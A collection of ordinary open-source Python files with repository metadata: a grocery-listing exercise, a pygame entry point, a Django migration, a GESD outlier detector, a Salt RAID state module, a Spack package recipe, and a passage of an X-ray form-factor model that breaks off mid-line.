+ Household (1 product) # + Meat Seafood (1 product) # + Pantry (2 products) # + Personal Care (2 products) # + Snacks (2 products) departments = [] for p in products: #print(p["department"]) departments.append(p["department"]) #if p["department"] not in departments: # departments.append(p["department"]) unique_departments = list(set(departments)) department_count = len(unique_departments) print("--------------") print("THERE ARE " + str(department_count) + " DEPARTMENTS:") print("--------------") unique_departments.sort() for d in unique_departments: matching_products = [p for p in products if p["department"] ==d] matching_products_count = len(matching_products) if matching_products_count >1: label = "products" else: label = "product" print(" + " + d.title() + " (" + str(matching_products_count) + " " + label + ")")

41.672

158

0.623344

products = [ {"id":1, "name": "Chocolate Sandwich Cookies", "department": "snacks", "aisle": "cookies cakes", "price": 3.50}, {"id":2, "name": "All-Seasons Salt", "department": "pantry", "aisle": "spices seasonings", "price": 4.99}, {"id":3, "name": "Robust Golden Unsweetened Oolong Tea", "department": "beverages", "aisle": "tea", "price": 2.49}, {"id":4, "name": "Smart Ones Classic Favorites Mini Rigatoni With Vodka Cream Sauce", "department": "frozen", "aisle": "frozen meals", "price": 6.99}, {"id":5, "name": "Green Chile Anytime Sauce", "department": "pantry", "aisle": "marinades meat preparation", "price": 7.99}, {"id":6, "name": "Dry Nose Oil", "department": "personal care", "aisle": "cold flu allergy", "price": 21.99}, {"id":7, "name": "Pure Coconut Water With Orange", "department": "beverages", "aisle": "juice nectars", "price": 3.50}, {"id":8, "name": "Cut Russet Potatoes Steam N' Mash", "department": "frozen", "aisle": "frozen produce", "price": 4.25}, {"id":9, "name": "Light Strawberry Blueberry Yogurt", "department": "dairy eggs", "aisle": "yogurt", "price": 6.50}, {"id":10, "name": "Sparkling Orange Juice & Prickly Pear Beverage", "department": "beverages", "aisle": "water seltzer sparkling water", "price": 2.99}, {"id":11, "name": "Peach Mango Juice", "department": "beverages", "aisle": "refrigerated", "price": 1.99}, {"id":12, "name": "Chocolate Fudge Layer Cake", "department": "frozen", "aisle": "frozen dessert", "price": 18.50}, {"id":13, "name": "Saline Nasal Mist", "department": "personal care", "aisle": "cold flu allergy", "price": 16.00}, {"id":14, "name": "Fresh Scent Dishwasher Cleaner", "department": "household", "aisle": "dish detergents", "price": 4.99}, {"id":15, "name": "Overnight Diapers Size 6", "department": "babies", "aisle": "diapers wipes", "price": 25.50}, {"id":16, "name": "Mint Chocolate Flavored Syrup", "department": "snacks", "aisle": "ice cream toppings", "price": 4.50}, {"id":17, "name": "Rendered Duck Fat", "department": "meat seafood", "aisle": "poultry counter", "price": 9.99}, {"id":18, "name": "Pizza for One Suprema Frozen Pizza", "department": "frozen", "aisle": "frozen pizza", "price": 12.50}, {"id":19, "name": "Gluten Free Quinoa Three Cheese & Mushroom Blend", "department": "dry goods pasta", "aisle": "grains rice dried goods", "price": 3.99}, {"id":20, "name": "Pomegranate Cranberry & Aloe Vera Enrich Drink", "department": "beverages", "aisle": "juice nectars", "price": 4.25} ] # based on data from Instacart: https://www.instacart.com/datasets/grocery-shopping-2017 # product part 1 # -------------- # THERE ARE 20 PRODUCTS: # -------------- # + All-Seasons Salt ($4.99) # + Chocolate Fudge Layer Cake ($18.50) # + Chocolate Sandwich Cookies ($3.50) # + Cut Russet Potatoes Steam N' Mash ($4.25) products_count = len(products) print("----------------------") print("THERE ARE " + str(products_count) + " PRODUCTS:") print("----------------------") def sort_by_name(any_product): return any_product["name"] sorted_products = sorted(products, key=sort_by_name) for p in sorted_products: price_usd = " (${0:.2f})".format(p["price"]) print("..." + p["name"] + price_usd) departments = [] for p in products: departments.append(p["department"]) unique_departments = list(set(departments)) department_count = len(unique_departments) print("--------------") print("THERE ARE " + str(department_count) + " DEPARTMENTS:") print("--------------") unique_departments.sort() for d in unique_departments: matching_products = [p for p in products if p["department"] ==d] matching_products_count = len(matching_products) if matching_products_count >1: label = "products" else: label = "product" print(" + " + d.title() + " (" + str(matching_products_count) + " " + label + ")")

true

f73270dce64166830a82286e79f9f4a512fe8e73

889

py

Python

gamelib/main.py

trascen/u2665

95eef1e225a8618eab7c1c5d839329b9df31dc9e

[ "Unlicense" ]

2

2017-10-16T15:27:42.000Z

2017-10-17T17:13:29.000Z

gamelib/main.py

trascen/u2665

95eef1e225a8618eab7c1c5d839329b9df31dc9e

[ "Unlicense" ]

null

gamelib/main.py

trascen/u2665

95eef1e225a8618eab7c1c5d839329b9df31dc9e

[ "Unlicense" ]

null

'''Game main module. Contains the entry point used by the run_game.py script. Feel free to put all your game code here, or in other modules in this "gamelib" package. ''' import pygame import pygame.display import pygame.surface import pygame.event import pygame.image import pygame.transform from gamelib.scene import MainScene from gamelib.sprite import Spritey def main(): ''' entry point of the game ''' pygame.init() real_screen = pygame.display.set_mode([640*2, 480*2]) clock = pygame.time.Clock() scene = MainScene() while scene: scene = scene.update() for event in pygame.event.get(): if event.type == pygame.KEYDOWN and event.key == pygame.K_q or event.type == pygame.QUIT: scene = None if scene: scene.draw(real_screen) pygame.display.flip() clock.tick(60)

22.794872

101

0.655793

import pygame import pygame.display import pygame.surface import pygame.event import pygame.image import pygame.transform from gamelib.scene import MainScene from gamelib.sprite import Spritey def main(): pygame.init() real_screen = pygame.display.set_mode([640*2, 480*2]) clock = pygame.time.Clock() scene = MainScene() while scene: scene = scene.update() for event in pygame.event.get(): if event.type == pygame.KEYDOWN and event.key == pygame.K_q or event.type == pygame.QUIT: scene = None if scene: scene.draw(real_screen) pygame.display.flip() clock.tick(60)

true

f7327108494348874c7a463c5e8d80166a93299e

1,203

py

Python

manager/director/apps/users/migrations/0004_massemail.py

darius-kia/director4

1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9

[ "MIT" ]

7

2020-08-23T23:08:34.000Z

2021-12-02T04:17:37.000Z

manager/director/apps/users/migrations/0004_massemail.py

darius-kia/director4

1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9

[ "MIT" ]

43

2020-08-24T16:48:29.000Z

2022-03-02T19:45:54.000Z

manager/director/apps/users/migrations/0004_massemail.py

darius-kia/director4

1d2c2c4c3ec12cc9b7f846d5dc075ea3bbef36f9

[ "MIT" ]

10

2020-08-17T20:42:52.000Z

2021-07-16T03:46:51.000Z

# Generated by Django 2.2.12 on 2020-04-07 14:15 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('users', '0003_user_accepted_guidelines'), ] operations = [ migrations.CreateModel( name='MassEmail', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('subject', models.CharField(max_length=200)), ('text_html', models.TextField()), ('text_plain', models.TextField()), ('created_time', models.DateTimeField(auto_now_add=True)), ('sent_time', models.DateTimeField(default=None, null=True)), ('limit_users', models.ManyToManyField(help_text='If this is empty, the email will be sent to ALL users!', related_name='_massemail_limit_users_+', to=settings.AUTH_USER_MODEL)), ('sender', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='sent_emails', to=settings.AUTH_USER_MODEL)), ], ), ]

41.482759

194

0.637573

from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('users', '0003_user_accepted_guidelines'), ] operations = [ migrations.CreateModel( name='MassEmail', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('subject', models.CharField(max_length=200)), ('text_html', models.TextField()), ('text_plain', models.TextField()), ('created_time', models.DateTimeField(auto_now_add=True)), ('sent_time', models.DateTimeField(default=None, null=True)), ('limit_users', models.ManyToManyField(help_text='If this is empty, the email will be sent to ALL users!', related_name='_massemail_limit_users_+', to=settings.AUTH_USER_MODEL)), ('sender', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='sent_emails', to=settings.AUTH_USER_MODEL)), ], ), ]

true

f732712de1cc15b3e1d91ae8e6631e12c2ea6874

6,412

py

Python

src/signal_processing_algorithms/gesd.py

dbradf/signal-processing-algorithms

75312e873543f0f89aace75f43ded783395425c5

[ "Apache-2.0" ]

19

2020-04-13T11:26:50.000Z

2022-03-28T12:43:04.000Z

src/signal_processing_algorithms/gesd.py

dbradf/signal-processing-algorithms

75312e873543f0f89aace75f43ded783395425c5

[ "Apache-2.0" ]

11

2020-03-17T19:20:21.000Z

2022-01-27T22:27:25.000Z

src/signal_processing_algorithms/gesd.py

dbradf/signal-processing-algorithms

75312e873543f0f89aace75f43ded783395425c5

[ "Apache-2.0" ]

5

2020-05-13T16:53:40.000Z

2022-01-26T23:11:45.000Z

# -*- coding: utf-8 -*- """ GESD based Detect outliers. Generalized ESD Test for Outliers see 'GESD<https://www.itl.nist.gov/div898/handbook/eda/section3/eda35h3.htm>' """ import collections from typing import List import numpy as np import numpy.ma as ma import structlog from scipy.stats import t LOG = structlog.get_logger() GesdResult = collections.namedtuple( "GesdResult", ["count", "suspicious_indexes", "test_statistics", "critical_values", "all_z_scores"], ) """ A named tuple for the results of the GESD algorithm. The outliers are in suspicious_indexes[count:]. The low confidence outliers are in suspicious_indexes[:count]. :type count: int, :type suspicious_indexes: list(int) :type test_statistics: list(float) :type critical_values: list(float) :type all_z_scores: list(float, float) :type series: list(float) """ def gesd( data: List[float], max_outliers: int = 10, significance_level: float = 0.05, mad: bool = False ) -> GesdResult: """ Perform a Generalized ESD Test for Outliers. The generalized ESD(Extreme Studentized Deviate) test (Rosner 1983) is used to detect one or more outliers in a univariate data set that follows an approximately normal distribution. Usage: gesd_result = gesd( series, max_outliers, significance_level=significance, mad=True) count = gesd_result.count indexes = gesd_result.suspicious_indexes print("outliers indexes {}".format(indexes[:count]) print("low confidence outliers indexes {}".format(indexes[count:]) If the standard deviation of the series data is zero then the outlier detection will bail out. For non-mad this entails a constant series or sub-series so this behaviour makes sense. In the MAD case, this may mean that the series is constant or that a majority of the series are the median value. The data should be validated to avoid this issue. Note: the test_statistics array is signed, this allows determination of the outlier above or below the mean. :param data: The data to test. :param max_outliers: Test for up to max outliers. :param significance_level: Test for up to max outliers. :param mad: Use Median Absolute Deviation. :return: The number of outliers, suspicious indexes, test_statistics, critical_values, z_values. see 'here<https://www.itl.nist.gov/div898/handbook/eda/section3/eda35h3.htm>' """ if data is None or np.size(data) == 0: raise ValueError("No Data ({})".format(data)) length = len(data) if max_outliers < 1: raise ValueError( "max_outliers({max_outliers}) must be >= 1".format(max_outliers=max_outliers) ) if max_outliers >= len(data): raise ValueError( "max_outliers({max_outliers}) <= length({length})".format( length=len(data) if data is not None else None, max_outliers=max_outliers ) ) if significance_level <= 0.0 or significance_level >= 1.0: raise ValueError( "invalid significance_level({significance_level})".format( significance_level=significance_level ) ) series = ma.array(data) test_statistics = [] critical_values = [] potential_outlier_indices = [] # max outliers must be less than length, the standard deviation and mad of a single entry list # are 0 so z score would be nan. m_outliers = min(max_outliers, length - 1) indexes = np.arange(m_outliers, dtype=int) for i in indexes: LOG.debug("iteration", i=i, mad=mad, series=series) if mad: # sigma in this case is an estimate of .75 quantile * MAD # note : 1.4826 == 1 / Q(.75) == 1 / 0.675 center = np.ma.median(series) sigma = 1.4826 * np.ma.median(np.fabs(series - center)) else: center = series.mean() sigma = series.std(ddof=1) if sigma == 0: break z_scores = (series - center) / sigma if i == 0: all_z_scores = (series - center) / sigma LOG.debug("calculate", z_scores=np.array([np.arange(length, dtype=int), z_scores]).T) max_z_score_index = np.fabs(z_scores).argmax() max_z_score = z_scores[max_z_score_index] # 2 sided test for significance. significance_result = 1.0 - significance_level / (2.0 * (length - i)) # Percent point function with df (degrees of freedom). percentage_point = t.ppf(significance_result, df=length - i - 2) value = ( (length - i - 1) * percentage_point / np.sqrt((length - i - 2 + percentage_point ** 2) * (length - i)) ) # Update results. potential_outlier_indices.append(max_z_score_index) test_statistics.append(max_z_score) critical_values.append(value) LOG.debug( "iteration complete", z_scores=np.array( [ np.arange(max_outliers, dtype=int), test_statistics, critical_values, np.greater(test_statistics, critical_values), ] ).T, ) # Mask and exclude the selected value from the next iteration. series[max_z_score_index] = ma.masked LOG.debug("values calculated", max_z_scores=test_statistics, lambda_values=critical_values) if potential_outlier_indices: for number_outliers in range(len(potential_outlier_indices), 0, -1): if np.abs(test_statistics[number_outliers - 1]) > critical_values[number_outliers - 1]: LOG.debug( "outliers discovered", number_outliers=number_outliers, outliers=potential_outlier_indices[0:number_outliers], ) return GesdResult( number_outliers, potential_outlier_indices, test_statistics, critical_values, all_z_scores[potential_outlier_indices], ) return GesdResult( 0, potential_outlier_indices, test_statistics, critical_values, all_z_scores[potential_outlier_indices] if potential_outlier_indices else [], )

34.473118

100

0.629757

import collections from typing import List import numpy as np import numpy.ma as ma import structlog from scipy.stats import t LOG = structlog.get_logger() GesdResult = collections.namedtuple( "GesdResult", ["count", "suspicious_indexes", "test_statistics", "critical_values", "all_z_scores"], ) def gesd( data: List[float], max_outliers: int = 10, significance_level: float = 0.05, mad: bool = False ) -> GesdResult: if data is None or np.size(data) == 0: raise ValueError("No Data ({})".format(data)) length = len(data) if max_outliers < 1: raise ValueError( "max_outliers({max_outliers}) must be >= 1".format(max_outliers=max_outliers) ) if max_outliers >= len(data): raise ValueError( "max_outliers({max_outliers}) <= length({length})".format( length=len(data) if data is not None else None, max_outliers=max_outliers ) ) if significance_level <= 0.0 or significance_level >= 1.0: raise ValueError( "invalid significance_level({significance_level})".format( significance_level=significance_level ) ) series = ma.array(data) test_statistics = [] critical_values = [] potential_outlier_indices = [] m_outliers = min(max_outliers, length - 1) indexes = np.arange(m_outliers, dtype=int) for i in indexes: LOG.debug("iteration", i=i, mad=mad, series=series) if mad: center = np.ma.median(series) sigma = 1.4826 * np.ma.median(np.fabs(series - center)) else: center = series.mean() sigma = series.std(ddof=1) if sigma == 0: break z_scores = (series - center) / sigma if i == 0: all_z_scores = (series - center) / sigma LOG.debug("calculate", z_scores=np.array([np.arange(length, dtype=int), z_scores]).T) max_z_score_index = np.fabs(z_scores).argmax() max_z_score = z_scores[max_z_score_index] significance_result = 1.0 - significance_level / (2.0 * (length - i)) percentage_point = t.ppf(significance_result, df=length - i - 2) value = ( (length - i - 1) * percentage_point / np.sqrt((length - i - 2 + percentage_point ** 2) * (length - i)) ) potential_outlier_indices.append(max_z_score_index) test_statistics.append(max_z_score) critical_values.append(value) LOG.debug( "iteration complete", z_scores=np.array( [ np.arange(max_outliers, dtype=int), test_statistics, critical_values, np.greater(test_statistics, critical_values), ] ).T, ) series[max_z_score_index] = ma.masked LOG.debug("values calculated", max_z_scores=test_statistics, lambda_values=critical_values) if potential_outlier_indices: for number_outliers in range(len(potential_outlier_indices), 0, -1): if np.abs(test_statistics[number_outliers - 1]) > critical_values[number_outliers - 1]: LOG.debug( "outliers discovered", number_outliers=number_outliers, outliers=potential_outlier_indices[0:number_outliers], ) return GesdResult( number_outliers, potential_outlier_indices, test_statistics, critical_values, all_z_scores[potential_outlier_indices], ) return GesdResult( 0, potential_outlier_indices, test_statistics, critical_values, all_z_scores[potential_outlier_indices] if potential_outlier_indices else [], )

true

f7327283137a8089ad6e5e8c1b25b9b0b020b6c1

3,502

py

Python

salt/states/mdadm.py

skrobul/salt

ef7fb71082cce7a9783e00b9c65062fefae09263

[ "Apache-2.0" ]

1

2018-02-03T17:30:56.000Z

salt/states/mdadm.py

skrobul/salt

ef7fb71082cce7a9783e00b9c65062fefae09263

[ "Apache-2.0" ]

null

salt/states/mdadm.py

skrobul/salt

ef7fb71082cce7a9783e00b9c65062fefae09263

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- ''' Managing software RAID with mdadm ================================== A state module for creating or destroying software RAID devices. .. code-block:: yaml /dev/md0: raid.present: - opts: level=1 chunk=256 raid-devices=2 /dev/xvdd /dev/xvde ''' # Import python libs import logging # Import salt libs import salt.utils # Set up logger log = logging.getLogger(__name__) # Define the module's virtual name __virtualname__ = 'raid' def __virtual__(): ''' mdadm provides raid functions for Linux ''' if __grains__['kernel'] != 'Linux': return False if not salt.utils.which('mdadm'): return False return __virtualname__ def present(name, opts=None): ''' Verify that the raid is present name The name of raid device to be created opts The mdadm options to use to create the raid. See :mod:`mdadm <salt.modules.mdadm>` for more information. Opts can be expressed as a single string of options. .. code-block:: yaml /dev/md0: raid.present: - opts: level=1 chunk=256 raid-devices=2 /dev/xvdd /dev/xvde Or as a list of options. .. code-block:: yaml /dev/md0: raid.present: - opts: - level=1 - chunk=256 - raid-devices=2 - /dev/xvdd - /dev/xvde ''' ret = {'changes': {}, 'comment': '', 'name': name, 'result': True} args = [name] if isinstance(opts, str): opts = opts.split() args.extend(opts) # Device exists raids = __salt__['raid.list']() if raids.get(name): ret['comment'] = 'Raid {0} already present'.format(name) return ret # If running with test use the test_mode with create if __opts__['test']: args.extend(['test_mode=True']) res = __salt__['raid.create'](*args) ret['comment'] = 'Raid will be created with: {0}'.format(res) ret['result'] = None return ret # Attempt to create the array __salt__['raid.create'](*args) raids = __salt__['raid.list']() changes = raids.get(name) if changes: ret['comment'] = 'Raid {0} created.'.format(name) ret['changes'] = changes # Saving config __salt__['raid.save_config']() else: ret['comment'] = 'Raid {0} failed to be created.'.format(name) ret['result'] = False return ret def absent(name): ''' Verify that the raid is absent name The name of raid device to be destroyed .. code-block:: yaml /dev/md0: raid: - absent ''' ret = {'changes': {}, 'comment': '', 'name': name, 'result': True} # Raid does not exist if name not in __salt__['raid.list'](): ret['comment'] = 'Raid {0} already absent'.format(name) return ret elif __opts__['test']: ret['comment'] = 'Raid {0} is set to be destroyed'.format(name) ret['result'] = None return ret else: # Attempt to destroy raid ret['result'] = __salt__['raid.destroy'](name) if ret['result']: ret['comment'] = 'Raid {0} has been destroyed'.format(name) else: ret['comment'] = 'Raid {0} failed to be destroyed'.format(name) return ret

23.823129

76

0.540548

import logging import salt.utils log = logging.getLogger(__name__) __virtualname__ = 'raid' def __virtual__(): if __grains__['kernel'] != 'Linux': return False if not salt.utils.which('mdadm'): return False return __virtualname__ def present(name, opts=None): ret = {'changes': {}, 'comment': '', 'name': name, 'result': True} args = [name] if isinstance(opts, str): opts = opts.split() args.extend(opts) # Device exists raids = __salt__['raid.list']() if raids.get(name): ret['comment'] = 'Raid {0} already present'.format(name) return ret # If running with test use the test_mode with create if __opts__['test']: args.extend(['test_mode=True']) res = __salt__['raid.create'](*args) ret['comment'] = 'Raid will be created with: {0}'.format(res) ret['result'] = None return ret # Attempt to create the array __salt__['raid.create'](*args) raids = __salt__['raid.list']() changes = raids.get(name) if changes: ret['comment'] = 'Raid {0} created.'.format(name) ret['changes'] = changes # Saving config __salt__['raid.save_config']() else: ret['comment'] = 'Raid {0} failed to be created.'.format(name) ret['result'] = False return ret def absent(name): ret = {'changes': {}, 'comment': '', 'name': name, 'result': True} # Raid does not exist if name not in __salt__['raid.list'](): ret['comment'] = 'Raid {0} already absent'.format(name) return ret elif __opts__['test']: ret['comment'] = 'Raid {0} is set to be destroyed'.format(name) ret['result'] = None return ret else: # Attempt to destroy raid ret['result'] = __salt__['raid.destroy'](name) if ret['result']: ret['comment'] = 'Raid {0} has been destroyed'.format(name) else: ret['comment'] = 'Raid {0} failed to be destroyed'.format(name) return ret

true

f73274ca464f6c55696bccac5f5bb1b094e363e5

2,916

py

Python

var/spack/repos/builtin/packages/eospac/package.py

xiki-tempula/spack

9d66c05e93ab8a933fc59915040c0e0c86a4aac4

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2021-02-22T18:04:31.000Z

var/spack/repos/builtin/packages/eospac/package.py

xiki-tempula/spack

9d66c05e93ab8a933fc59915040c0e0c86a4aac4

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2020-04-24T13:30:08.000Z

2020-04-24T13:40:08.000Z

var/spack/repos/builtin/packages/eospac/package.py

xiki-tempula/spack

9d66c05e93ab8a933fc59915040c0e0c86a4aac4

[ "ECL-2.0", "Apache-2.0", "MIT" ]

1

2020-03-06T11:04:37.000Z

# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Eospac(Package): """A collection of C routines that can be used to access the Sesame data library. """ homepage = "http://laws.lanl.gov/projects/data/eos.html" list_url = "http://laws.lanl.gov/projects/data/eos/eospacReleases.php" version('6.4.0', sha256='15a953beac735c68431afe86ffe33323d540d0fbbbec03ba79438dd29736051d', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0_612ea8c9b8ffa6d9175d9118955571d9107f1e3c.tgz") version('6.4.0beta.4', sha256='0ebfd8badff575ea77444aa978629dbdca3135a0b5eb373b8daba058773d4635', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.4_aff6429bb6868de31a980278bafa13487c2ce83f.tgz") version('6.4.0beta.3', sha256='9f387ca5356519494c6f3f27adb0c165cf9f9e15e3355a67bf940a4a92eebdab', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.3_90ff265f62aa1780bfcd0a62dad807b6be6ed461.tgz") version('6.4.0beta.2', sha256='f9db46cd6c62a6f83960d802350f3e37675921af102969b293c02eb797558a53', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.2_69196eadbc77506561eef711f19d2f03b4ab0ffa.tgz") version('6.4.0beta.1', sha256='14c5c804e5f628f41e8ed80bcee5a80adeb6c6f3d130715421ca99a30c7eb7e2', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.1_r20171213193219.tgz") version('6.3.1', sha256='aa1112c4251c9c3c2883a7ab2c7f2abff2c339f29dbbf8421ef88b0c9df904f8', preferred=True, url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.3.1_r20161202150449.tgz") # This patch allows the use of spack's compile wrapper 'flang' patch('flang.patch', when='@:6.4.0beta.2%clang') def install(self, spec, prefix): with working_dir('Source'): make('install', 'CC={0}'.format(spack_cc), 'CXX={0}'.format(spack_cxx), 'F77={0}'.format(spack_f77), 'F90={0}'.format(spack_fc), 'prefix={0}'.format(prefix), 'INSTALLED_LIBRARY_DIR={0}'.format(prefix.lib), 'INSTALLED_INCLUDE_DIR={0}'.format(prefix.include), 'INSTALLED_EXAMPLE_DIR={0}'.format(prefix.example), 'INSTALLED_BIN_DIR={0}'.format(prefix.bin)) # fix conflict with linux's getopt for 6.4.0beta.2 if spec.satisfies('@6.4.0beta.2'): with working_dir(prefix.bin): move('getopt', 'driver_getopt')

57.176471

159

0.698903

from spack import * class Eospac(Package): homepage = "http://laws.lanl.gov/projects/data/eos.html" list_url = "http://laws.lanl.gov/projects/data/eos/eospacReleases.php" version('6.4.0', sha256='15a953beac735c68431afe86ffe33323d540d0fbbbec03ba79438dd29736051d', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0_612ea8c9b8ffa6d9175d9118955571d9107f1e3c.tgz") version('6.4.0beta.4', sha256='0ebfd8badff575ea77444aa978629dbdca3135a0b5eb373b8daba058773d4635', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.4_aff6429bb6868de31a980278bafa13487c2ce83f.tgz") version('6.4.0beta.3', sha256='9f387ca5356519494c6f3f27adb0c165cf9f9e15e3355a67bf940a4a92eebdab', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.3_90ff265f62aa1780bfcd0a62dad807b6be6ed461.tgz") version('6.4.0beta.2', sha256='f9db46cd6c62a6f83960d802350f3e37675921af102969b293c02eb797558a53', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.2_69196eadbc77506561eef711f19d2f03b4ab0ffa.tgz") version('6.4.0beta.1', sha256='14c5c804e5f628f41e8ed80bcee5a80adeb6c6f3d130715421ca99a30c7eb7e2', url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.4.0beta.1_r20171213193219.tgz") version('6.3.1', sha256='aa1112c4251c9c3c2883a7ab2c7f2abff2c339f29dbbf8421ef88b0c9df904f8', preferred=True, url="http://laws.lanl.gov/projects/data/eos/get_file.php?package=eospac&filename=eospac_v6.3.1_r20161202150449.tgz") patch('flang.patch', when='@:6.4.0beta.2%clang') def install(self, spec, prefix): with working_dir('Source'): make('install', 'CC={0}'.format(spack_cc), 'CXX={0}'.format(spack_cxx), 'F77={0}'.format(spack_f77), 'F90={0}'.format(spack_fc), 'prefix={0}'.format(prefix), 'INSTALLED_LIBRARY_DIR={0}'.format(prefix.lib), 'INSTALLED_INCLUDE_DIR={0}'.format(prefix.include), 'INSTALLED_EXAMPLE_DIR={0}'.format(prefix.example), 'INSTALLED_BIN_DIR={0}'.format(prefix.bin)) # fix conflict with linux's getopt for 6.4.0beta.2 if spec.satisfies('@6.4.0beta.2'): with working_dir(prefix.bin): move('getopt', 'driver_getopt')

true

f73274e98631a7c59fbcf53f1b533864bc4b4c67

6,295

py

Python

Functions/FormFactors/SphericalShell_expDecay.py

prjemian/XAnoS

8a70380a88421042feff6f4aa9f5cf1f79ab4efc

[ "MIT" ]

null

Functions/FormFactors/SphericalShell_expDecay.py

prjemian/XAnoS

8a70380a88421042feff6f4aa9f5cf1f79ab4efc

[ "MIT" ]

null

Functions/FormFactors/SphericalShell_expDecay.py

prjemian/XAnoS

8a70380a88421042feff6f4aa9f5cf1f79ab4efc

[ "MIT" ]

null

####Please do not remove lines below#### from lmfit import Parameters import numpy as np import sys import os sys.path.append(os.path.abspath('.')) sys.path.append(os.path.abspath('./Functions')) sys.path.append(os.path.abspath('./Fortran_rountines')) ####Please do not remove lines above#### ####Import your modules below if needed#### from xraydb import XrayDB #from pyEQL import chemical_formula class SphericalShell_expDecay: #Please put the class name same as the function name No = 6.023e23 # Avagadro number re2= (2.817e-5)**2 # Square of classical electron radius in Angs^2 def __init__(self, x=0, rmin=0.0, rmax=30.0, Nr=31, Rc=10.0, strho=1.0, tst=2.0, lrho=0.5, lexp=10.0, rhosol=0.0, norm=1.0, bkg=0.0, mpar={}): """ Documentation x : independent variable in the form of a scalar or an array Rc : Radial distance in Angstroms after which the solvent contribution starts strho : Concentration of the ions of interest in the stern layer in Molar tst : Thickness of stern layer in Angstroms lrho : The maximum concentration of the diffuse layer in Molars lexp : The decay length of the diffuse layer assuming exponential decay rhosol : The surrounding bulk density norm : Density of particles in Moles/Liter bkg : Constant background """ if type(x)==list: self.x=np.array(x) else: self.x=x self.rmin=rmin self.rmax=rmax self.Nr=Nr self.Rc=Rc self.strho=strho self.tst=tst self.lrho=lrho self.lexp=lexp self.rhosol=rhosol self.norm=norm self.bkg=bkg self.__mpar__=mpar #If there is any multivalued parameter self.choices={} #If there are choices available for any fixed parameters self.__xrdb__=XrayDB() self.init_params() def init_params(self): """ Define all the fitting parameters like self.param.add('sig',value=0,vary=0) """ self.params=Parameters() self.params.add('Rc',value=self.Rc,vary=0,min=-np.inf,max=np.inf,expr=None,brute_step=0.1) self.params.add('strho', value=self.strho, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('tst', value=self.tst, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('lrho', value=self.lrho, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('lexp', value=self.lexp, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('norm', value=self.norm, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('bkg', value=self.bkg, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) def solrho(self, r, Rp=100.0, Rc=12.5, strho=1.0, tst=2.0, lrho=0.5, lexp=10.0, rhosol=0.0): """ Calculates the electron density for the distribution of ions as a function of radial distance surrounding a spherical particle Rp :: Radius of the sphere in Angstroms enclosing the spherical particle Rc :: Radial distance in Angstroms after which the solvent contribution starts strho :: Concentration of the ions of interest in the stern layer in Molar tst :: Thickness of stern layer in Angstroms lrho :: The maximum concentration of the diffuse layer in Molars lexp :: The decay length of the diffuse layer assuming exponential decay rhosol :: The surrounding bulk density """ R1=Rc R2=Rc+tst #integral=np.sum([r1**2*np.exp(-(r1-R2)/lexp) for r1 in np.linspace(R2,Rp,1001)])*(Rp-R2)/1000 integral=lexp*(R2**2*np.exp(-R2/lexp)-Rp**2*np.exp(-Rp/lexp))+2*lexp**2*(R2*np.exp(-R2/lexp)-Rp*np.exp(-Rp/lexp))+2*lexp**3*(np.exp(-Rp/lexp)-np.exp(-R2/lexp)) rhos=(rhosol*(Rp**3-R1**3)-strho*(R2**3-R1**3)-3*lrho*integral*np.exp(R2/lexp))/(Rp**3-R2**3) self.output_params['scaler_parameters']['rho_bulk']=rhos stern = np.where(r > R1, strho, 0.0) * np.where(r > R2, 0.0, 1.0) diffuse = np.where(r > R2, lrho * np.exp(-(r - R2) / lexp) + rhos, 0.0) rho = (stern + diffuse) return rho # in Moles/Liter def calc_form(self, q, r, rho): """ Calculates the isotropic form factor using the isotropic electron density as a funciton of radial distance q :: scaler or array of reciprocal reciprocal wave vector in inv. Angstroms at which the form factor needs to be calculated in r :: array of radial distances at which the element/ion density in known in Angstroms rho :: array of element/ion densities as a function of radial distance in el/Angstroms^3. Note: The electron density should decay to zero at the last radial distance """ dr = r[1] - r[0] form = np.zeros_like(q) rho = (rho - rho[-1])* self.No/1e27 #converting it to moles/Angs^3 for r1, rho1 in zip(r, rho): form = form + 4 * np.pi * r1 * rho1 * np.sin(q * r1) / q form = (np.absolute(form) * dr)**2 return self.re2 * form * 1e-16 * self.No / 1e3 # in cm^-1 def y(self): """ Define the function in terms of x to return some value """ self.output_params={} self.output_params['scaler_parameters']={} r=np.linspace(self.rmin, self.rmax, 